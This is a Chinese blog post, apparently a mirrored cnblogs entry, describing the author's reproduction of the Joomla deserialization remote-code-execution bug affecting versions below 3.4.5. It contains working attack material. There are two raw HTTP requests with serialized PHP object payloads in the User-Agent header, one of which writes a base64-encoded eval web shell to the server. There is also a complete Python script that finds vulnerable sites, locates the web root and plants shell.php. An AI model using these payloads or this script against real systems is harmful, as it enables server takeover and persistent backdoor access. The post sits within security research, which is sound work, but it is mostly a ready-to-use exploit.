zoukankan      html  css  js  c++  java
  • Joomla反序列化通杀漏洞(版本低于3.4.5)复现的那些坑

          这是最近流出来的一个漏洞,利用Joomla反序列化可以造成远程代码执行。关于该漏洞的分析可以参考一下链接:

          wooyun drops上的:http://drops.wooyun.org/papers/11330

          Freebuf上的:http://www.freebuf.com/vuls/89754.html

          360播报上的:http://bobao.360.cn/learning/detail/2501.html

          自定义生成Exp序列化的程序:http://sandbox.onlinephpfunctions.com/code/d7a86325f725cbe9e7a60ef696d65593f6abdc1f

          在这里,记录一下我自己复现漏洞时候遇到的坑。细节很重要呐,最后复现成功才发现问题所在。

          首先是关于phpinfo的代码执行,这个复现起来比较简单。Exp如下:

    GET /joomla/ HTTP/1.1
    
    Host: 192.168.145.130
    
    User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"a";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:31:"phpinfo();JFactory::get();exit;";}i:1;s:4:"init";}}s:13:"connection";i:1;}~Ù
    
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    
    Accept-Encoding: gzip, deflate
    
    Connection: keep-alive
    
    Cache-Control: max-age=0
    

          首先是发送带Exp的包,获取cookie:

    1

          然后用获取的cookies再次发包即可完成代码执行:

    2

          这里要特别注意截断的那几个字符是不是正确,这个是关键。看一下那几个字符(只要是utf-8中4字节的都可以,范围U+010000至U+10FFFF,具体原因可以参照前面漏洞分析):

    3

          好了,关于代码执行的复现到此为止。

          我们接下来完成一句话的复现,在这里花了比较多的时间。我采用的是file_put_contents函数来写入一句话,这里特别强调一点,写入的地址是要使用路径绝对地址的,不然写入不成功。坑呀!

          关于Web服务器网站路径,可以在phpinfo执行的时候获取到,然后拼接出shell的地址即可。对要写入的内容可以用base64先编码,然后file_put_contents的时候解码即可。

          Exp的内容如下:

    GET /joomla/ HTTP/1.1
    
    Host: 192.168.145.130
    
    User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:143:"file_put_contents('E://xampp//htdocs//Joomla//shell.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7ID8+'));;JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}𝌆
    
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    
    Accept-Encoding: gzip, deflate
    
    X-Forwarded-For: 8.8.8.8
    
    DNT: 1
    
    Connection: keep-alive
    
    Cache-Control: max-age=0
    

          看下成功的Exp截图:

    4

          获取shell的流程和之前是一样的,先发送带Exp的包,然后包含获取的cookie的包,即可写入一句话了。

          最后,修改了一个可以Getshell的利用脚本:

    #!/usr/bin/env python
    
    import requests
    
    import sys
    
    import time
    
    import re
    
    def rceJoomla(value):
    
        now = time.strftime('%H:%M:%S',time.localtime(time.time()))
    
        print "["+str(now)+"] [INFO] Checking Joomla 1.5 - 3.4.5 Remote Code Execution..."
    
        if 'http://' in value or 'https://' in value:
    
          url=value
    
          checkJoomlaRCE(url)
    
    def checkJoomlaRCE(url):
    
        url = url.strip()
    
        reg = 'http[s]*://.*/$'
    
        m = re.match(reg,url)
    
        if not m:
    
            url = url + "/"
    
        poc = generate_payload("phpinfo();")
    
        try:
    
            result = get_url(url, poc)
    
            if 'phpinfo()' in result:
    
                system = getInfoByJoomlaRCE(result, 'System')
    
                document_root = getInfoByJoomlaRCE(result, 'DOCUMENT_ROOT')
    
                script_filename = getInfoByJoomlaRCE(result, 'SCRIPT_FILENAME')
    
                shell_file = getShellByJoomlaRCE(url, system, script_filename)
    
                vuls='[+]vuls found! url: '+url+'
    [+]System: '+system+'
    [+]document_root: '+document_root+'
    [+]script_filename: '+script_filename+'
    [+]shell_file: '+shell_file
    
                print vuls
    
            else:
    
                print '[!] no vuls! url: '+url
    
        except Exception,e:
    
            print '[!] connection failed! url: '+url
    
    def get_url(url, user_agent):
    
        headers = {
    
        'User-Agent': user_agent
    
        }
    
        cookies = requests.get(url,headers=headers).cookies
    
        for _ in range(3):
    
            response = requests.get(url, timeout=10, headers=headers, cookies=cookies)
    
        return response.content
    
    def generate_payload(php_payload):
    
        php_payload = php_payload
    
        terminate = 'xf0x9dx8cx86'
    
        exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    
        injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
    
        exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    
        exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}''' + terminate
    
        # print exploit_template
    
        return exploit_template
    
    def getInfoByJoomlaRCE(result, param):
    
        if "System" in param:
    
            reg = '.*<tr><td class="e">System </td><td class="v">([^<>]*?)</td></tr>.*'
    
        elif "DOCUMENT_ROOT" in param:
    
            reg = '.*<tr><td class="e">DOCUMENT_ROOT </td><td class="v">([^<>]*?)</td></tr>.*'
    
        elif "SCRIPT_FILENAME" in param:
    
            reg = '.*<tr><td class="e">SCRIPT_FILENAME </td><td class="v">([^<>]*?)</td></tr>.*'
    
        match_url = re.search(reg,result)
    
        if match_url:
    
           info=match_url.group(1)
    
        else:
    
            info = 'no info!'
    
        return info
    
    def getShellByJoomlaRCE(url, system, script_filename):
    
        if 'no info' not in script_filename and 'no info' not in system:
    
            if 'Windows' in system:
    
                shell = script_filename.split('index.php')[0].replace('/','//').strip()+"shell.php"
    
            else:
    
                shell = script_filename.split('index.php')[0]+"shell.php"
    
            cmd ="file_put_contents('"+shell+"',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7ID8+'));"
    
            pl = generate_payload(cmd)
    
            try:
    
                get_url(url, pl)
    
                return url+"shell.php"
    
            except Exception, e:
    
                return "no info!"
    
        else:
    
            return "no info!"
    
    def main():
    
        rceJoomla(sys.argv[1])
    
    if __name__ == '__main__':
    
        main()
    

          来看下,在本地环境下的测试截图:(一句话名字:shell.php,密码:cmd)

    5

  • 相关阅读:
    我要开博!
    JavaScript变态题目
    jquery easyui小记
    Object.prototype.toString.call
    JavaMe开发,模拟器打开一片空白~
    开放●共享●创新
    Spring启动时指定properties文件B 依赖于properties文件A的配置项x (Spring multiple properties files picking one by config item in parent properties file)
    ECC证书操作汇总(ECC certificate operations summary)
    关于spring cloud gateway配置文件的总结
    arm汇编学习(一)
  • 原文地址:https://www.cnblogs.com/hiccup/p/5423965.html
Copyright © 2011-2022 走看看